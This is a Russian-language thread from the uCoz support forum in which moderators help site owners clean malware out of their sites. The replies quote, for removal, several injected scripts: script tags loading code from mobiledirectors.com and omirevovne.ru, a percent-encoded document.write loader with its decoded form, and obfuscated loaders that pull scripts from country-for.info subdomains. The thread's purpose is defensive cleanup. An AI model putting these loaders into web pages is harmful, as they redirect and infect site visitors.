Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (предотвращение, диагностика) |
| Вирусы на сайтах |
|
Как предотвратить попадание вредоносных ссылок на сайт
Диагностика
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте
Полезные ссылки: Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:
|
|
Здравствуйте, срочно нужна помощ, на моем сайте Gamespro-portal
был замечен яндексом вирус "мобильный редирект" ,я даже не знаю как выглядет код этого вируса! помогите, заранее спасибо! |
|
webanet, Здравствуйте!! у меня вот такая проблема,в моем сайте http://sibaymebel.3dn.ru/ есть 2 баннера с рекламой сверху и снизу появляются,когда захожу в свой аккаунт они исчезают,весь смысл проблемы в том что эти рекламы видны только на мобильном телефоне в браузере explorer,у друга попробовал зайти тоже самое,а на комп браузерах их вообще нет,интересно где искать,можете помощь?
|
|
dielf, из шаблонов форума удалите скрипт
Код <noindex> <script language='javascript' type='text/javascript' src='http://mobiledirectors.com/90k6u4gfify70hpx29rs436p5ld3b4g0b16wlxtga3i'></script> </noindex> и вот этот скрипт Код <script type="text/javascript"> <!-- document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%0A%3C%21%2D%2D%0A%64% 6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61 %73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%76%61%74%61%72%69%61%2D%76%6B%6F%6E%74%61%6B%74%65%2E%72%75%2F%6A%73%2F%73%6 9%74%65%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%73%63%72%69%70%74%3E')); //--> </script> последний расшифровывается как Код <script type="text/javascript"> <!-- document.write(unescape('<script type="text/javascript" src="http://avataria-vkontakte.ru/js/site.js"></script>')); //--> </script> после очистки идите в вебмастер яндекса и жмите на перепроверку сайта |
|
zabir16, на сайте вроде чисто под гостем. возможно вы видите новую рекламу от юкоз для мобильных. точнее можно сказать будет только взглянув на баннеры. если можно, сделайте скриншоты баннеров, которые вас беспокоят
|
|
zabir16, судя по описанию, это реклама веб-сервиса uCoz, транслируются пользователям мобильных устройств
|
|
|
|
Sergey1972, ваш сайт не относится к системе юкоз. обратитесь в свою тех.поддержку за помощью
|
|
Здравствуйте!
У некоторых пользователей антивирус ругается на мой сайт http://tselitel.com. В частности, касперский. Сам я, сколько ни пытался, ничего не нашел. Онлайн - проверки говорят только следующее: На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код. Касперский пишет о ссылке на подозрительный ресурс " chingachqook.net ". Пожалуйста, помогите решить эту проблему. |
|
Sargas, в самом низу шаблонов удалите
Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://tafyjigvchrh.country-for.info' + '/?802649=LWQtK387NTY6MjA9KmRoaGBvb2s'; w.document.body.appendChild(script); clearInterval(i); } }, 200); };)window); </script> и Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://reqwfqcbf.country-for.info' + '/?505459=B04HAVURHxwQGBoXAE5CQkpFRUM'; w.document.body.appendChild(script); clearInterval(i); } }, 200); };)window); </script> и Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://qufttswhben.country-for.info' + '/?89394=Rg9GQBRQXl1RWVtWQQ8DAwsEBAI'; w.document.body.appendChild(script); clearInterval(i); } }, 200); };)window); </script> Код <script type="text/javascript"> (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://qufttswhben.country-for.info' + '/?109766=svuytOCkqqmlra-itfv39__w8PQ'; w.document.body.appendChild(script); clearInterval(i); } }, 200); };)window); </script> если вы не ставили эту рекламу сами к себе на главную, то смените пароли и запретите доступ к коду сайта всех и к панели управления , кроме себя |
|
Доброго времени суток! Я не совсем опытный в этих делах и не смог найти ответа на свой вопрос.Подскажите пожалуйста,почему зайдя на сайт http://melodysoul.ru антивирус ESET NOD32 выдает информацию о том,что на сайте находится вирус .Однако другие антивирусы ничего не находят.Буду признателен если поможете решить эту проблему.Заранее огромное спасибо.
|
|
Firestarter, дайте читаемый скрин или текст блокировки есета
а для начала удалите кнопку вверх с сайта и не подгружайте ни кнопки ни другие элементы с таких низкосортных сайтов. или перелейте кнопку к себе на сайт, удалив копирайт, который туда вставили владельцы сайта, хотя к написанию скрипта причастия не имели |
|
|
|
Цитата koluchij (  )не могу найти вирь. яндекс и аваст ругаются. koluchij, для начала поставьте нормально код копирайта системы uCoz во всех шаблонах $POWERED_BY$ он у вас вынесен за пределы закрывающего тега html что является нарушением. В каталоге файлов в шаблонах удалите скрипт: Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script> Можете это сделать через быструю замену, для этого переходите в Панель Управления - Дизайн - Управление дизайном - Быстрая замена. В поле что заменить вставляете этот скрипт: Код <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script> поле на что заменить оставляете пустым. Замену делайте в модуле каталог файлов. После этого смените пароль uID профиля //forum.ucoz.ru/forum/45-52299-1 Также читайте тему //forum.ucoz.ru/forum/45-57475-1 Аваст может ругаться на картинки вставленные со сторонних сайтов. |
|
аш IP адрес: 168.61.82.88
 История Имя вашего компьютера:  168.61.82.88 Операционная система:  Microsoft Windows 8.0 Ваш браузер:  Firefox 26.0 Откуда вы:  United States Ваш провайдер:   Прокси:  Не используется Добавлено (21 Фев 2014, 22:51:40) --------------------------------------------- выложить вирус ? всего 331 килобайт Добавлено (04 Мар 2014, 21:31:54) --------------------------------------------- Файл выложить ? на сервере Windows Sever файл не запустился .. Сообщение отредактировал srrpp15845 - Вторник, 04 Мар 2014, 21:32:54
|
| |||